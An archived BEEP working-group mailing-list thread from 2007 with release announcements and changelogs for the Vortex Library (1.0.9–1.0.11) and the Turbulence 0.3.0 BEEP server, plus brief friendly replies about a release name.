	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Nov 2007 10:56:56 -0000

          #############################################
          ##          Vortex Library  1.0.9          ##
          ##   "A certain shade of green release"    ##
          #############################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.9 "a certain share of green" release availability: an
  open source "BEEP Core" protocol implementation written in C, mapped
  onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  Integration of some bug fixes affecting binary transfers. This
  release also updates the serialize support for ANS/NUL frame types
  making easier to transfer files. 
  
Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Changes since 1.0.8
~~~~~~~~~~~~~~~~~~~

* [fix] Updated documentation and removed checking inside the vortex
  listener module which was causing to not start a listener if no
  profile was found registered. This is no longer required due to the
  dynamic character provided by applications like Turbulence.

* [fix] Updated documentation explaining how to use ANS/NUL frame.

* [new] Updated regression test to check ANS/NUL pattern
  (test_04a). No bug found. Test kept for future checkings.

* [fix] Updated regression test to use an optimal transfer value for
  the regression test associated to the ANS/NUL pattern.

* [fix] Making vortex_channel_set_serialize to how activate frame
  serialization for ANS/NUL pattern. Updated regression tests to check
  this new function.

* [new] Added two new examples that allows to transfer a file from a
  server using ANS/NUL pattern and one big message. Files added:
  
   - vortex-file-transfer-client.c
   - vortex-file-transfer-server.c

* [fix] Updating version file and allowing
  vortex-file-transfer-client.c to allow configuring the host and port
  for the file server.

* [fix] Updated vortex_channel_set_serialize documentation and updated
  vortex_channel_pool_new to make profile parameter to be a const char
*.

* [new] Added a new test to check binary transfers for zeroed chunks.

* [fix] Fixed bug which was causing to not detect previous frame
  fragment received if the content transfered is binary content that
  contains zeroed elements.

* [fix] Making vortex sequencer and vortex reader to use an stack
  activated variable to hold data provided
  vortex_sequencer_direct_send, allowing to save one memory
  allocation/deallocation pattern for each fragment sent.

* [fix] Added some "const" declarations at the vortex_channel_pool_new
  and vortex_channel_pool_new_full.

* [fix] Making vortex_connection_close to check and detect those calls
  to this function using references created by vortex_listener_new
functions
  which, at the same time, did not update reference counting, causing 
  double deallocation patterns.

* [fix] minor cleanup at the vortex listener module.

* [fix] Committing changes to files to make doxygen to properly create
  documentation.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
2th nov 2007, Madrid (Spain)


From mrose@dbc.mtview.ca.us Fri Nov  2 08:41:44 2007
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	lA2Ffhsg018317;	Fri, 2 Nov 2007 08:41:44 -0700
In-Reply-To: <1194001003.29547.2.camel@vulcan.aspl>
References: <1194001003.29547.2.camel@vulcan.aspl>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <25888C12-BCA3-41C8-BA86-E8290C0A3146@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg]  [ANN] Vortex Library 1.0.9 'A certain shade of green
	release' is ready!
Date: Fri, 2 Nov 2007 10:41:54 -0500
To: Francis Brosnan Blazquez <francis@aspl.es>
X-Mailer: Apple Mail (2.752.3)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Nov 2007 15:41:44 -0000

>           #############################################
>           ##          Vortex Library  1.0.9          ##
>           ##   "A certain shade of green release"    ##
>           #############################################

congrats! and which shade of green are we talking about?

/mtr

From francis@aspl.es Fri Nov  2 09:14:30 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lA2GETwt019780;	Fri, 2 Nov 2007 09:14:29 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1Inz9z-0006WZ-00; Fri, 02 Nov 2007 17:14:15 +0100
Subject: Re: [BEEPwg]  [ANN] Vortex Library 1.0.9 'A certain shade of green
	release' is ready!
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Marshall Rose <mrose@dbc.mtview.ca.us>
In-Reply-To: <25888C12-BCA3-41C8-BA86-E8290C0A3146@dbc.mtview.ca.us>
References: <1194001003.29547.2.camel@vulcan.aspl>
	 <25888C12-BCA3-41C8-BA86-E8290C0A3146@dbc.mtview.ca.us>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Fri, 02 Nov 2007 17:14:16 +0100
Message-Id: <1194020057.29547.14.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1Inz9z-0006WZ-00*4IqrDFeyqj.*
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 02 Nov 2007 16:14:30 -0000

> congrats! and which shade of green are we talking about?

Thanks Marshall! It is about an Incubus song [1], from the science
album. Really nice piece!

Cheers!

> /mtr

[1] http://www.youtube.com/watch?v=UEmx9kyahxU
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Wed Nov  7 05:03:23 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lA7D3MTi028574;	Wed, 7 Nov 2007 05:03:23 -0800
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IpkYo-0005e3-00; Wed, 07 Nov 2007 14:03:10 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Wed, 07 Nov 2007 14:03:11 +0100
Message-Id: <1194440591.4550.26.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
X-Scanner: exiscan *1IpkYo-0005e3-00*8balFy0nZTk*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id lA7D3MTi028574
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.10 'Behind the heap release' is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 07 Nov 2007 13:03:24 -0000

          ############################################
          ##          Vortex Library 1.0.10         ##
          ##        "Behind the heap release"       ##
          ############################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.10 "Behind the heap" release availability: an open
  source "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  This release solves a double deallocation error at the frame
  received handler introduced by previous releases. It also includes a
  new API that allows to get notifications when a channel is added or
  removed from a particular BEEP connection. Other bugs were fixes.  
  
Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Thanks to..
~~~~~~~~~~~
  Yourch Chris (reported and fixed wrong included inside vortex sasl
  module, while compiling vortex with MS products and reported double
  deallocation error at frame received handlers).

Changes since 1.0.9
~~~~~~~~~~~~~~~~~~~

* [fix] Making vortex_listener_set_on_accepted to internally configure
  the listener module if it is called before vortex_listener_new
  family.

* [fix] Finished initial tests to check removed/added channel
  notification.

* [new] Updated vortex connection API to include two new functions
  that allows configuring a set of handlers that are called if a
  channel is added or removed from it. API added:

   - vortex_connection_set_channel_added_handler
   - vortex_connection_set_channel_removed_handler
   - VortexConnectionOnChannelUpdate (handler)

* [fix] Making vortex_channel_is_being_closed to check reference
  received before accessing content.

* [fix] Fixed double deallocation error at the serialize code at the
  vortex channel module.

* [fix] Updated documentation.

* [fix] Making unistd.h header from the vortex_sasl module to be not
  included inside windows platform. Reported and fixed Chris Yourch.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
7th nov 2007, Madrid (Spain)


From francis@aspl.es Tue Nov 13 07:01:02 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lADF11SD009956;	Tue, 13 Nov 2007 07:01:01 -0800
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IrxFW-0004Lm-00; Tue, 13 Nov 2007 16:00:22 +0100
Subject: Re: [BEEPbuilders]  Re: [BEEPwg]  [ANN] Vortex Library 1.0.9 'A
	certain shade of green release' is ready!
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Justin Warren <daedalus@eigenmagic.com>
In-Reply-To: <1194826588.9479.18.camel@localhost>
References: <1194001003.29547.2.camel@vulcan.aspl>
	 <25888C12-BCA3-41C8-BA86-E8290C0A3146@dbc.mtview.ca.us>
	 <1194020057.29547.14.camel@vulcan.aspl>
	 <1194826588.9479.18.camel@localhost>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Tue, 13 Nov 2007 16:00:25 +0100
Message-Id: <1194966025.6236.42.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1IrxFW-0004Lm-00*K7r/z1RGUM6*
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
cc: Marshall Rose <mrose@dbc.mtview.ca.us>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Nov 2007 15:01:06 -0000

Hi Justin,

> There are other BEEP hackers who like Incubus. Who knew?

If some people like [1], it shouldn't be difficult to find someone who
likes Incubus (or anything else!)...

Cheers!

> :)

[1] http://www.youtube.com/watch?v=W2gKOLGOruo
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Thu Nov 22 23:54:05 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lAN7s4Sv016693;	Thu, 22 Nov 2007 23:54:04 -0800
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IvTMA-0005o5-00; Fri, 23 Nov 2007 08:53:46 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 23 Nov 2007 08:53:49 +0100
Message-Id: <1195804429.7441.51.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
X-Scanner: exiscan *1IvTMA-0005o5-00*EGW4oUHJ8Vs*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id lAN7s4Sv016693
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.11 'break the loop' release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Nov 2007 07:54:05 -0000

          ############################################
          ##          Vortex Library 1.0.11         ##
          ##         "Break the loop release"       ##
          ############################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.11 "Break the loop" release availability: an open source
  "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  Several bugs have been fixed and integrated into the regression
  test. Updated frame joining code to reduce the alloc/realloc
  pattern, improving speed for windows platform. Fixed ANS/NUL bug
  which was causing to not allow sending several files (several
  ANS/NUL exchanges over the same channel). Some new API functions has
  been added to manage connections created (used by Turbulence),
  profile channel counting and getting channel pool references.
  
Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Thanks to..
~~~~~~~~~~~
  Chris Yourch (reported and provided useful information to reproduce
  the ANS/NUL pattern problem). Thomas Unterleitner (reported and
  provided useful information to reproduce the low transfer rate,
  inside windows platform, while sending (really) huge frames (42MB)).

Changes since 1.0.10
~~~~~~~~~~~~~~~~~~~~

* [fix] Making xml-rpc implementation to allow receiving empty arrays.

* [fix] Updated libvortex.def file to include latest symbols.

* [fix] Updated vortex greetings module to allow configuring features,
  making the module to handle its own references.

* [fix] Making vortex connection module to first receive greetings
  frame, in order to allow feature checking, and then send the
  greeting reply accepting/proposing features. Not finished. Required
  all notification code to accept features.

* [new] Added new support function to extract the difference between
  to struct timeval instances. Updated gettimeofday windows port to
  remove the timezone value (which is not used and won't be used by
  the vortex core). Checked this implementation is more friendly to
  mingw and MS VS compilers. API added:

   - vortex_timeval_substract
   - gettimeofday (updated)

* [fix] Implemented workaround for a timeout bug inside the
  vortex_async_queue_timedpop function, running on windows, caused by
  the SignalAndWaitObject implementation which is finishing before the
  timeout expire, causing to return NULL references. Included some
  code to detect this fast (funny) exit to restart the wait operation.
  Also fixes bug inside vortex_channel_get_reply.

* [fix] Fixed bug which was causing to make the next transfer to a
  ANS/NUL proper transfer to be faulty. Updated regression test to
  check this in future release. Regression test now transfer a set of
  files (using the same channel), checking md5 for content
  transferred. (Thanks to Chris Yourch which reported and fully defined
  how to reproduce the problem).

* [fix] Making vortex_exit to clean up vortex tls module on exit.

* [fix] Reimplemented vortex frame joining mechanism
  (vortex_channel_set_complete_flag) allowing to greatly reduce the
  memory allocation pattern. Updated vortex frame API to include a
  function to create a frame representation taking as payload the
  reference provided (owning it). API added:
 
  - vortex_frame_create_full_ref

* [fix] Updated vortex-file-transfer-client.c to allow transferring the
  binary file with the proper fopen mode under windows ("wb"). Updated
  Makefile.win to include compilation for
  vortex-file-transfer-client.c and vortex-file-transfer-server.c.

* [new] Updated vortex channel API to allow getting the number of
  channels that are running a particular profile under a particular
  connection:
  
   - vortex_connection_get_channel_count

* [new] Updated vortex connection API to allow configuring a handler
  which is called on each connection created. API added:

   - vortex_connection_notify_new_connections
   - VortexConnectionNotifyNew

* [fix] Updating libvortex.def file.

* [new] Updated vortex channel API to include a new function to get
  the channel pool associated. API added:

   - vortex_channel_get_pool

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
23th nov 2007, Madrid (Spain)


From francis@aspl.es Fri Nov 23 10:48:14 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lANImDM7005338;	Fri, 23 Nov 2007 10:48:13 -0800
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1IvdZH-0007Ld-00; Fri, 23 Nov 2007 19:47:59 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 23 Nov 2007 19:47:59 +0100
Message-Id: <1195843680.4261.11.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
X-Scanner: exiscan *1IvdZH-0007Ld-00*ys6c/mQ4L7c*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id lANImDM7005338
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Turbulence 0.3.0 "Like in the movies release" is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Nov 2007 18:48:14 -0000

                     -= Turbulence 0.3.0  =-
                   "Like in the movies release"       

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the
  Turbulence 0.3.0 "Like in the movies" release: an open source BEEP
  general application server, written on top of Vortex Library.

  Turbulence is a BEEP server extensible through modules and allows to
  implement server side profiles that are used and combined later with
  other profiles through run time configuration.

  Turbulence is written to make it easy to develop and deploy BEEP
  profiles, allowing developers to provide a convenient configuration
  interface to site administrators and end users.

  Check out the following links to get ready with Turbulence:

    - http://www.turbulence.ws
      [Turbulence homepage]

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and binaries]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  Next major release for Turbulence including lot of new features and
  bug fixes, mostly located at the Turbulence core and the
  mod-sasl. Added initial implementation for the turbulence
  regression.

  Now the mod-sasl allows virtual hosting configuration: this allows
  to configure auth-db associated to particular serverName
  configurations. Along with this, the mod-sasl is shipped with a new
  XML-RPC remote administration interface (SASL-RADMIN) which allows
  third party applications to perform SASL administrative tasks in all
  domains. A security update allows mod-sasl to store password
  hashed with md5 and sha-1.

  At the Turbulence core, an initial connection manager implementation
  has been added, including a function to broadcast a message over all
  connections having a particular profile. Now Turbulence allows to
  configure the maximum number of channels running a profile per
  connection.

  

Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Changes since the 0.2.1
~~~~~~~~~~~~~~~~~~~~~~~~~~~

turbulence:

* [new] Updated turbulence db list module to include a new removal
  function which delete items according to an external handler. API
  added:

  - turbulence_db_list_remove_by_func
  - TurbulenceDbListRemoveFunc (handler)

  Updated regression tests to check this.

* [fix] Removed turbulence_db_list_status function. It is an api
  duplicated on turbulence_db_list_get.

* [fix] Making features configuration to be optional at the config
  DTD.

* [fix] Added initial code to support the "x-client-close" feature.
  Pending to check its real effect.

* [new] Added new module to control all connections created under the
  context of the turbulence server. Added initial code to provide
  broadcasting services over all connections, that have a selected
  profile. Public API added:

  - turbulence_conn_mgr_broadcast_msg
  - TurbulenceConnMgrFilter (handler)

* [new] Updated turbulence engine to allow configuring the maximum
  number of channels that can be running a particular profile, inside
  the profile path configuration. Updated documentation to include
  some references.

* [fix] Making turbulence exit/signal handling to terminate turbulence
  modules just after vortex termination to avoid unmapping memory
  regions that contains handlers configured inside vortex library.

* [fix] Makeing turbulence runtime and turnbulence module to better
  reach to modules that wan't loaded properly (undefined symbol).

* [fix] Fixed bug inside the common sasl module, while changing auth
  passwords..

* [fix] Added missing index to the db list documentation.

* [fix] Updated documentation to include some references to the
  tbc-dblist-mgr usage and the new support provided by mod-sasl for
  virtual hosting configuration.

* [new] Updated operate_sasl_user service, inside the remote sasl
  administration, to remote, edit, change password, check/set remote
  administration flag.

* [new] Added support to the tbc-dblist-mgr tool to create empty list
  by using the --touch option.

* [fix] Updated regression test to check two new functions at the
  mod-sasl to enable/disabled and check status for remote
  administration support.

* [fix] Fixed bug inside turbulence_db_list_close and
  turbulence_db_list_cleanup which was causing double deallocation
  operation under different situations but especially for those db
  list opened but not closed manually. Updated regression test to
  check both situations (manully and automatic close).

* [new] Added initial code to implement all operations required to
  operate sasl users inside the xml-rpc sasl remote admin.

* [fix] Fixed common sasl validation function to also check that the
  auth_id is inside the remote admins list.

* [fix] Integrating changes to the get users service.

* [fix] Updated autoconf files to include new pkg-config file to
  export sasl-radmin.idl file.

* [fix] Configured mod-sasl source code to install a pkg-config file
  to allow locating IDL file used to implement the client side of the
  remote administration interface.

* [fix] Implemented initial version for the get_users service for the
  SASL remote administration.

* [fix] Fixed validation service provided by the common sasl module to
  only accept services under the sasl-radmin resource.

* [fix] Started and commiting initial files for the remote SASL
  administration.  Added initial implementation for the resource
  validation function. Added initial implementation for the get_users
  service.

* [fix] Updated turbulence module internals to secure the list of
  modules loaded with a mutex.

* [new] Updated regression test to check turbulence module loading
  code.  Updated the turbulence module API to include a function to
  unregister a module from the list of modules loaded.

* [fix] Updated regression test to check sasl support for several
auth-db
  associated to different server names.

* [new] Added a new function to the sasl module to check if a
  particular auth Id is disabled. Updated regression test to check
  this. API added:

   - common_sasl_user_is_disabled

* [fix] More progress on regression test. Updated
  common_sasl_user_disable to allow enabling/disabling a particular
  user rather only allowing to disable.

* [fix] making progress on general regression test and fixing bugs
  exposed. Updated common_sasl_user_exists and user database loading
  related functions.

* [new] Added new function to the support module to check in a
  portable way the base dir and the file name for a provided
  path. Updated regression test to check this. API added:

   - turbulence_base_dir
   - turbulence_file_name

* [fix] Commiting initial checking for the sasl backend inside the
  regression test.  Not finished yet. Added required files.

* [fix] Updated regression test to check full path function checking
  and fixed a bug exposed by the regression test on the unix platform.

* [fix] Updated the regression test to cover turbulence_db_list_count,
  turbulence_db_list_exists and turbulence_db_list_status.

* [fix] Updated autoconf files to include the regression test.

* [fix] Fixed bug inside turbulence_db_list_add and
  turbulence_db_list_remove which was causing to not update the first
  item on the list.

* [new] Added initial code to implement a regression test for all
  modules and the base library provided by turbulence. This helped to
  remove a but at the dblist implementation.

* [fix] Fixed bug inside turbulence_db_list_close which was causing to
  double dealloc references.

* [new] Added a new function to be base library to check if a file is
  a full path or relative one. API added:

   - turbulence_file_is_fullpath

* [fix] General update to the sasl module to allow supporting several
  users database according to the server name provided.

* [fix] Updated turbulence default example to include some coments to
  improve its usage.

* [fix] General update to the mod-sasl module to allow storing user
  passwords with other formats than clear text. Now it is also
  supported md5 and sha-1. Updated tools and authentication code. This
  change makes previous database format to be not compatible.

* [new] Updated turbulende dblist API to include a function that
  allows to get the current status as a snapshot. Added a new function
  that allows to edit an element in an atomic form. API added:

   - turbulence_db_list_status
   - turbulence_db_list_edit

* [fix] Fixed minor bug while compiling the turbulence code without
  pcre support.

* [fix] Updating axl and vortex package references.

* [fix] Making turbulence to skip backup files inside the mod enabled
  directory.

* [fix] Updated update-web.sh file.

* [fix] Adding missing article about BEEP ports.

* [new] Installed a new option (--vortex-debug2) that enables
  activating vortex second level log. Added two new functions to
  enable modules and turbulence to check current log to console
  status:

    - turbulence_log_enabled
    - turbulence_log2_enabled

* [new] Updated turbulence startup to check if all settings were read
  and started properly, including modules, and to stop or not
  according to a "clean start" configuration provided at the main
  file.

